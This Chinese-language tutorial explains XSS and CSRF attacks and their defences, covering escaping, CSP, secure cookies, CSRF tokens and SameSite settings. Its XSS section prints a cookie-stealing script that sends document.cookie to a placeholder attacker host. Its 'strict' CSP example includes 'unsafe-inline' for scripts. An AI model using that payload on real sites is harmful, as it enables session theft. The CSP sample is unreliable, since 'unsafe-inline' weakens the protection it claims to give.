Web 安全攻防：XSS 与 CSRF

导航目录

跨站脚本攻击 (XSS)
跨站请求伪造 (CSRF)
XSS 与 CSRF 综合对比
企业级防御最佳实践
总结

跨站脚本攻击 (XSS)

本质与分类

XSS (Cross-Site Scripting) 攻击通过在网页中注入恶意脚本，在用户浏览器中执行来实现攻击目的。

类型	存储位置	持久性	攻击场景	典型案例
反射型 XSS	URL 参数	非持久	诱使用户点击恶意链接	钓鱼邮件中的恶意链接
存储型 XSS	服务器数据库/文件	持久	用户访问被篡改的页面	论坛发帖注入恶意脚本
DOM 型 XSS	客户端 DOM	非持久	操作客户端 DOM 触发	浏览器插件或客户端脚本

攻击原理与危害

核心危害：

身份窃取：盗取用户会话 Cookie

<script>
  fetch(`https://attacker.com/steal?cookie=${document.cookie}`)
</script>

钓鱼攻击：伪造登录表单窃取凭证
恶意软件传播：加载外部恶意资源
网站篡改：修改页面内容欺骗用户
会话劫持：利用窃取的 Cookie 冒充用户身份
键盘记录：监听用户输入，获取敏感信息

高级防御策略

1. 输入过滤与消毒

核心思路：对用户输入进行严格过滤，移除或转义潜在的恶意代码。

function sanitizeInput(input) {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

// 使用示例
const userInput = "<script>alert(1)</script>";
const safeOutput = sanitizeInput(userInput);
// 输出: &lt;script&gt;alert(1)&lt;/script&gt;

2. 上下文感知输出编码

核心思路：根据输出位置的不同，采用不同的编码方式，确保恶意代码无法执行。

上下文	编码方式	示例
HTML 内容	HTML 实体编码	`< → <`
HTML 属性	属性值编码	`" → "`
JavaScript	Unicode 转义	`' → \u0027`
URL	URL 编码	`& → %26`
CSS	CSS 转义	`; → \3B`

3. 内容安全策略 (CSP)

核心思路：通过 HTTP 头或 meta 标签，限制页面可以加载的资源来源，防止恶意脚本执行。

html

<!-- 严格 CSP 策略示例 -->
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
               img-src *;
               connect-src 'self';
               style-src 'self' 'unsafe-inline';
               frame-ancestors 'none'"
/>

核心思路：通过设置安全属性，防止 Cookie 被窃取或滥用。

// 安全 Cookie 设置
Set-Cookie: sessionId=abc123;
  HttpOnly;   // 禁止 JavaScript 访问
  Secure;     // 仅通过 HTTPS 传输
  SameSite=Lax; // 限制跨站发送
  Path=/;
  Max-Age=3600;

跨站请求伪造 (CSRF)

攻击原理

CSRF (Cross-Site Request Forgery) 攻击通过诱导用户在已登录的情况下访问恶意网站，利用用户的身份执行未授权操作。

攻击流程：

用户登录目标网站，获取会话 Cookie
攻击者诱导用户访问恶意网站
恶意网站向目标网站发送请求，携带用户的 Cookie
目标网站验证 Cookie 后执行操作

高级防御策略

1. CSRF Token 模式

核心思路：为每个会话生成唯一的 Token，嵌入到表单或请求中，服务端验证 Token 有效性。

html

<!-- 表单中嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="RANDOM_STRING" />
  <!-- 其他表单字段 -->
</form>

<!-- 服务端验证 -->
app.post('/transfer', (req, res) => { if(req.body.csrf_token !==
req.session.csrf_token) { return res.status(403).send('Invalid CSRF Token'); }
// 处理转账逻辑 });

核心思路：将 CSRF Token 存储在 Cookie 中，同时在请求头中携带 Token，服务端验证两者是否一致。

javascript

// 前端设置自定义Cookie
fetch('/api/csrf-cookie', {credentials: 'include'});

// 请求中携带自定义Header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-TOKEN': getCookie('XSRF-TOKEN')
  },
  body: JSON.stringify({...})
});

核心思路：通过设置 Cookie 的 SameSite 属性，限制跨站请求时 Cookie 的发送。

策略	跨站请求发送 Cookie	适用场景
Strict	❌ 完全禁止	敏感操作
Lax	△ GET 允许 POST 禁止	通用设置（默认）
None	✅ 允许	需要跨站功能

4. 验证码挑战

核心思路：在关键操作前要求用户输入验证码，防止自动化攻击。

html

<!-- 关键操作前要求验证码 -->
<form action="/delete-account" method="POST">
  <img src="/captcha" alt="验证码" />
  <input type="text" name="captcha" required />
  <button type="submit">确认删除</button>
</form>

XSS 与 CSRF 综合对比

特性	XSS	CSRF
攻击方向	客户端 → 客户端	第三方网站 → 目标网站
依赖条件	需要注入点	用户已登录目标站点
攻击载体	恶意脚本	伪造 HTTP 请求
防御重点	输入输出处理	请求来源验证
关键防御	CSP、编码、HttpOnly	CSRF Token、SameSite Cookie
检测难度	较高（多种变体）	中等
危害范围	广泛（数据、会话、客户端）	特定操作（状态变更）
攻击目标	窃取用户数据、会话	执行未授权操作
技术复杂度	中等	较低

企业级防御最佳实践

1. 自动化安全检测

核心思路：使用自动化工具定期扫描应用，发现潜在的安全漏洞。

bash

# 使用 OWASP ZAP 进行自动化扫描

docker run -v $(pwd):/zap/wrk/:rw \
  -t owasp/zap2docker-stable zap-baseline.py \
  -t https://your-webapp.com \
  -g gen.conf \
  -r security-report.html

2. 深度防御策略

核心思路：采用多层防御策略，确保即使某一层防御被突破，仍有其他层提供保护。

plaintext

 应用层: 输入验证 + 输出编码
    ↑
 会话层: CSRF Token + SameSite Cookie
    ↑
 网络层: WAF + IDS/IPS
    ↑
 浏览器: CSP + 沙箱机制

3. 关键操作保护

核心思路：对敏感操作进行额外的保护，防止未授权执行。

javascript

// 敏感操作二次认证
function confirmCriticalAction(action) {
  return fetch("/verify-password", {
    method: "POST",
    body: JSON.stringify({ password: prompt("请输入密码确认") }),
  }).then((res) => {
    if (res.ok) return performAction(action);
    throw new Error("验证失败");
  });
}

4. 安全意识培训

核心思路：定期对开发人员进行安全意识培训，提高代码质量和安全意识。

了解常见攻击手法
掌握安全编码规范
定期进行安全测试
建立安全评审机制

总结

XSS 和 CSRF 是 Web 安全领域的核心威胁，防御需要分层策略：

XSS 防御：以输出编码为核心，CSP 为防线，HttpOnly 为保险
CSRF 防御：CSRF Token 为基础，SameSite Cookie 为补充，关键操作添加验证码
综合防护：结合 WAF、安全扫描、持续监控构建纵深防御体系

最佳实践：

始终对用户输入进行验证和过滤
根据上下文选择合适的编码方式
实施严格的内容安全策略
为关键操作添加额外的验证机制
定期进行安全测试和培训

通过实施这些策略，可有效提升 Web 应用安全性，保护用户数据和业务资源。

Web 安全攻防：XSS 与 CSRF ​

导航目录 ​

跨站脚本攻击 (XSS) ​

本质与分类 ​

攻击原理与危害 ​

高级防御策略 ​

1. 输入过滤与消毒 ​

2. 上下文感知输出编码 ​

3. 内容安全策略 (CSP) ​

4. Cookie 安全加固 ​

跨站请求伪造 (CSRF) ​

攻击原理 ​

高级防御策略 ​

1. CSRF Token 模式 ​

2. 双重 Cookie 验证 ​

3. SameSite Cookie 策略 ​

4. 验证码挑战 ​

XSS 与 CSRF 综合对比 ​

企业级防御最佳实践 ​

1. 自动化安全检测 ​

2. 深度防御策略 ​

3. 关键操作保护 ​

4. 安全意识培训 ​

总结 ​

Web 安全攻防：XSS 与 CSRF

导航目录

跨站脚本攻击 (XSS)

本质与分类

攻击原理与危害

高级防御策略

1. 输入过滤与消毒

2. 上下文感知输出编码

3. 内容安全策略 (CSP)

4. Cookie 安全加固

跨站请求伪造 (CSRF)

攻击原理

高级防御策略

1. CSRF Token 模式

2. 双重 Cookie 验证

3. SameSite Cookie 策略

4. 验证码挑战

XSS 与 CSRF 综合对比

企业级防御最佳实践

1. 自动化安全检测

2. 深度防御策略

3. 关键操作保护

4. 安全意识培训

总结